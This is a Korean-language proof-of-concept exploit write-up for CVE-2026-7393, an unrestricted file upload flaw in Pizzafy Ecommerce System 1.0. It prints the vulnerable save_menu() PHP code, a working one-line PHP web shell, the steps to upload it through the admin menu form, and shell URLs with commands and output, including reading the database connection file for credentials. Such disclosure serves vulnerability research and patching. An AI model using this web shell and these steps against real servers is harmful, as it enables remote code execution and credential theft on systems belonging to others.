
CVE-2026-7393에 대한 개념 증명 익스플로잇: Pizzafy Ecommerce System 1.0에서 인증된 관리자가 제한 없는 파일 업로드를 통해 PHP 웹쉘을 업로드하고 원격 코드 실행을 달성할 수 있는 취약점.
| 필드 | 값 |
|---|---|
| 벤더 | SourceCodester |
| 벤더 URL | https://www.sourcecodester.com |
| 제품 | Pizzafy Ecommerce System using PHP and MySQL |
| 제품 URL | https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html |
| 버전 | 1.0 |
| 취약점 | 무제한 파일 업로드 → 원격 코드 실행 |
| CWE | CWE-434 |
| CVSSv3 점수 | 7.8 (높음) |
| 공격 벡터 | 네트워크 |
| 인증 필요 | 예 (관리자) |
| 사용자 상호 작용 | 없음 |
| 연구자 | Imad Alvi |
| 날짜 | 2026-04-12 |
파일: Pizzafy/admin/admin_class_novo.php → save_menu() 함수
매개변수: img (FILE)
업로드 경로: Pizzafy/assets/img/
Pizzafy Ecommerce System 1.0의 save_menu() 함수는 파일 유형 검증을 수행하지 않고 메뉴 항목의 이미지 업로드를 처리합니다. 애플리케이션은 pathinfo()를 사용하여 파일 확장자를 검색하지만, 업로드된 파일을 웹 접근 가능한 assets/img/ 디렉터리로 이동하기 전에 실제로 허용된 파일 유형을 확인하거나 제한하지 않습니다. 인증된 관리자는 메뉴 이미지로 위장한 PHP 웹쉘을 업로드한 다음 브라우저를 통해 직접 접근하여 서버에서 원격 코드 실행을 달성할 수 있습니다.
취약한 코드 (admin_class_novo.php):
function save_menu(){
extract($_POST);
// ...
if($_FILES['img']['tmp_name'] != ''){
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname);
$data .= ", img_path = '$fname' ";
}
// No extension check, no MIME type check
}
다음 내용으로 shell_web2.php 파일을 생성합니다:
<?php echo shell_exec($_GET['cmd']); ?>
관리자로 로그인하고 다음으로 이동합니다:
http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu
메뉴 양식에 유효한 값을 입력하고 이미지 파일로 shell_web2.php를 선택합니다. 저장을 클릭합니다.
이제 쉘이 고객 페이지에 메뉴 항목으로 표시됩니다.
에셋 디렉터리로 이동합니다 — 디렉터리 목록이 활성화되어 있습니다 (CWE-548):
http://192.168.0.9/pizzafy/Pizzafy/assets/img/
업로드된 PHP 쉘이 디렉터리 목록에 표시됩니다.
업로드된 쉘에 직접 접근하고 cmd 매개변수를 통해 시스템 명령을 전달합니다:
http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami
응답 — 서버에서 실행된 OS 명령:
desktop-g1i9np3\dell
?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php
인증된 관리자는 다음을 수행할 수 있습니다:
assets/img/ 디렉터리는 디렉터리 목록이 활성화되어 있어 인증되지 않은 사용자가 웹쉘을 포함한 모든 업로드된 파일을 탐색할 수 있습니다. 이는 파일 업로드 취약점의 심각성을 더욱 악화시킵니다.